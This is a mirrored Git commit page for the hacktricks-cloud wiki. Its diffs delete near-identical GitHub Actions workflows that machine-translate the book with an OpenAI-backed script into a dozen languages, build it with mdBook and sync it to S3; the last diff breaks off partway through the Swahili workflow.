gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-12 07:40:49 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-services/aws-macie-en

Browse Source
This commit is contained in:
Translator
2025-08-21 00:24:04 +00:00
parent 18a3a4274b
commit 0c0fd7fd20
21 changed files with 505 additions and 1949 deletions
Download Patch File Download Diff File Expand all files Collapse all files

119
.github/workflows/translate_af.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_de.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_el.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_es.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_fr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_it.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ja.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ko.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pl.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pt.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sw.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
